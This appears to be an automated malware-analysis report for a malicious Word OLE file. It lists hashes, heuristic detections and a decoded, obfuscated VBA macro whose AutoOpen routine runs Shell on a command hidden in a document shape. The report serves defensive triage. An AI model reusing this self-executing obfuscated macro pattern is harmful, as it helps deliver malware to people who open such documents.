Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 576e0a6ed02651d2…

MALICIOUS

Office (OLE)

83.0 KB Created: 2018-11-14 21:16:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: a2d64c954ce2c13286790a7ed7a57383 SHA-1: fe6e623ad886b1ec9501d56704a172bdb1c9310c SHA-256: 576e0a6ed02651d2e06a7face89a78f9f5b5ec24c7dc2c2fecc0bb676747888e
252 Risk Score

Heuristics 9

  • ClamAV: Doc.Malware.Generic-6750287-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6750287-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    vdjTNwjGG = Shell(ZTFWAwz + zTUzPS + ISSOXjDN, sUwiRoCWWnD)
   Dim aHhAPi, JOGEdOw, BJNEw, kkOsE
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
   Dim jDOhv, AKSuuK, uZUVkJAhF, YPXai
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3685 bytes
SHA-256: 85a00d68274d406c79a3c8636ec68e62a9589729676e4cc1533950efd04439bf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
32 of 62 identifiers look randomly generated (e.g. 'sUwiRoCWWnD') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DWmJTwPZ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function YTHiNRwPXuc()
Const sUwiRoCWWnD = 887149054 - 887149054
   Dim GsjiwB, CZXRTwT, CbMFvawK, IhLVB
    CZXRTwT = Len(zVAznGfV)
    IhLVB = ""
    For GsjiwB = 1 To CZXRTwT
        IhLVB = IhLVB & (15 + ((CbMFvawK + 33) Mod 124))
        If CbMFvawK >= 31 And CbMFvawK <= 79 Then
            IhLVB = IhLVB & (47 + ((CbMFvawK + 25) Mod 185))
        Else
            IhLVB = IhLVB & (CbMFvawK)
        End If
    Next
zwLvY = IhLVB

ZTFWAwz = "" + HhZWQpCA + wTwfcX + Shapes("QkbALhm").TextFrame.ContainingRange + UTziEjUd + pkaOHL
   Dim GzHvZab, bUFRToqk, ZoddqBnb, KIwhLmz
    bUFRToqk = Len(QGhYt)
    KIwhLmz = ""
    For GzHvZab = 1 To bUFRToqk
        KIwhLmz = KIwhLmz & (36 + ((ZoddqBnb + 30) Mod 95))
        If ZoddqBnb >= 16 And ZoddqBnb <= 65 Then
            KIwhLmz = KIwhLmz & (35 + ((ZoddqBnb + 13) Mod 191))
        Else
            KIwhLmz = KIwhLmz & (ZoddqBnb)
        End If
    Next
uqchX = KIwhLmz

vdjTNwjGG = Shell(ZTFWAwz + zTUzPS + ISSOXjDN, sUwiRoCWWnD)
   Dim aHhAPi, JOGEdOw, BJNEw, kkOsE
    JOGEdOw = Len(rdKnOBJ)
    kkOsE = ""
    For aHhAPi = 1 To JOGEdOw
        kkOsE = kkOsE & (35 + ((BJNEw + 33) Mod 150))
        If BJNEw >= 34 And BJNEw <= 99 Then
            kkOsE = kkOsE & (21 + ((BJNEw + 32) Mod 61))
        Else
            kkOsE = kkOsE & (BJNEw)
        End If
    Next
fpiEV = kkOsE

End Function
Sub AutoOpen()
   Dim jDOhv, AKSuuK, uZUVkJAhF, YPXai
    AKSuuK = Len(sZLBHBDV)
    YPXai = ""
    For jDOhv = 1 To AKSuuK
        YPXai = YPXai & (44 + ((uZUVkJAhF + 20) Mod 189))
        If uZUVkJAhF >= 44 And uZUVkJAhF <= 83 Then
            YPXai = YPXai & (14 + ((uZUVkJAhF + 21) Mod 111))
        Else
            YPXai = YPXai & (uZUVkJAhF)
        End If
    Next
iAAAjrOsw = YPXai

   Dim wpRYnWi, UjJjsWw, bFwGI, fhXaizAL
    UjJjsWw = Len(CnYEjz)
    fhXaizAL = ""
    For wpRYnWi = 1 To UjJjsWw
        fhXaizAL = fhXaizAL & (31 + ((bFwGI + 22) Mod 50))
        If bFwGI >= 35 And bFwGI <= 69 Then
            fhXaizAL = fhXaizAL & (37 + ((bFwGI + 30) Mod 175))
        Else
            fhXaizAL = fhXaizAL & (bFwGI)
        End If
    Next
dhnmn = fhXaizAL

   Dim pJjEqXT, LzfjE, pbFUVT, INVEfE
    LzfjE = Len(NAJlGjz)
    INVEfE = ""
    For pJjEqXT = 1 To LzfjE
        INVEfE = INVEfE & (21 + ((pbFUVT + 11) Mod 180))
        If pbFUVT >= 18 And pbFUVT <= 74 Then
            INVEfE = INVEfE & (43 + ((pbFUVT + 19) Mod 85))
        Else
            INVEfE = INVEfE & (pbFUVT)
        End If
    Next
tquZAMzC = INVEfE

YTHiNRwPXuc
   Dim rMNkmGUQa, pIkXqqvdp, doCidhMV, PhmnIw
    pIkXqqvdp = Len(iFFMB)
    PhmnIw = ""
    For rMNkmGUQa = 1 To pIkXqqvdp
        PhmnIw = PhmnIw & (19 + ((doCidhMV + 30) Mod 105))
        If doCidhMV >= 32 And doCidhMV <= 64 Then
            PhmnIw = PhmnIw & (18 + ((doCidhMV + 15) Mod 198))
        Else
            PhmnIw = PhmnIw & (doCidhMV)
        End If
    Next
jKmLSCKiH = PhmnIw

   Dim NKkBNri, JRGvTRS, roOIm, VIGRARNY
    JRGvTRS = Len(AaDrVPiD)
    VIGRARNY = ""
    For NKkBNri = 1 To JRGvTRS
        VIGRARNY = VIGRARNY & (37 + ((roOIm + 49) Mod 53))
        If roOIm >= 11 And roOIm <= 94 Then
            VIGRARNY = VIGRARNY & (23 + ((roOIm + 40) Mod 101))
        Else
            VIGRARNY = VIGRARNY & (roOIm)
        End If
    Next
vwoEiboc = VIGRARNY

End Sub

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